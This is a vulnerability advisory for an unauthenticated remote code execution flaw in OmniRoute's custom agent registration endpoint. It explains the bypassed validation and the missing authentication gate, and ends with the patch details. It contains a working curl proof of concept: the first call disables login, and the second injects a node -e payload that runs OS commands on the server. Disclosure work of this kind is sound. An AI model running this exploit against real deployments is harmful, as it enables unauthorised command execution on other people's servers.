CVE-2026-88062: omniroute Unauthenticated Remote Code Execution via Custom ACP Agent
A missing authentication guard and an exploitable command validation flaw in OmniRoute's custom agent registration endpoint let any anonymous attacker run arbitrary OS commands inside the server…

The problem
The POST /api/acp/agents endpoint accepts user-controlled binary and versionCommand fields and stores them as a custom agent definition. Immediately after saving, the same request triggers refreshAgentCache(), which calls execFileSync(probe.command, probe.args) using those attacker-supplied values.
The only guard is a self-consistency check: resolveVersionProbe() requires the first token of versionCommand to match binary. Because binary is also attacker-controlled, both values can be set to node, bypassing the check entirely. When requireLogin=false, isAuthenticated() returns true for anonymous requests, and /api/acp/ is absent from LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES, so no other gate blocks the request.
The result is unauthenticated RCE as the container user.
Proof of concept
A working proof-of-concept for CVE-2026-88062 in omniroute, with the exact payload below.
# Step 1: disable login (models a self-hosted instance with requireLogin=false,
# or exploit the bootstrap window on a fresh instance)
curl -s -X POST "http://TARGET:20128/api/settings/require-login" \
-H "content-type: application/json" \
-d '{"requireLogin":false}'
# Step 2: trigger RCE anonymously (no cookie, no bearer token)
curl -s -X POST "http://TARGET:20128/api/acp/agents" \
-H "content-type: application/json" \
-d '{
"id":"anonrce",
"name":"anonrce",
"binary":"node",
"protocol":"stdio",
"versionCommand":"node -e \"require(\x27fs\x27).writeFileSync(\x27/app/data/UNAUTH_RCE_PROOF.txt\x27,require(\x27child_process\x27).execSync(\x27id\x27).toString()+require(\x27child_process\x27).execSync(\x27uname -a\x27).toString())\""
}'
# Step 3: confirm execution
docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt
# Expected: uid=1000(node) gid=1000(node) ...The root cause is two independent failures that chain together. First, the validation in resolveVersionProbe() (CWE-94) only checks that versionCommand starts with the same token as binary, but binary is itself attacker-supplied, so setting both to node trivially passes.
The character blocklist DISALLOWED_VERSION_COMMAND_CHARS stops shell metacharacters like ;&|<> but permits (, ), ', and ., which are all a node -e payload needs.
Second, isAuthenticated() delegates to isAuthRequired(), which returns false when requireLogin=false (CWE-306), and the /api/acp/ prefix is absent from LOCAL_ONLY_API_PREFIXES, so the spawn-capable endpoint is reachable without any credential. The patch adds /api/acp/ to the local-only prefix list and replaces the self-consistency check with a strict allowlist of permitted binaries and a block on evaluation-style arguments such as -e.
The fix
Upgrade omniroute to version 3.8.50 or later. The fix (commit 60829241, PR #11028) adds /api/acp/ to LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES, and replaces the self-consistency binary check in resolveVersionProbe() with a hardcoded allowlist of approved binaries that blocks interpreter evaluation flags.
If you cannot upgrade immediately, set requireLogin=true and ensure the management password is configured to eliminate the unauthenticated path.
Reported by HouMinXi.
Related research
- highCVE-2026-86083CVE-2026-86083: n8n Expression Sandbox Escape via JSON.stringify Hijacking
- highCVE-2026-86076CVE-2026-86076: n8n Expression Sandbox Escape via Class-Field Sanitizer Rebinding
- high · 8.8CVE-2026-59160CVE-2026-59160: @yeger/turbo-graph Unauthenticated Remote Task Execution
- high · 7.5@typespec/spector Unauthenticated Remote Shutdown via POST /.admin/stop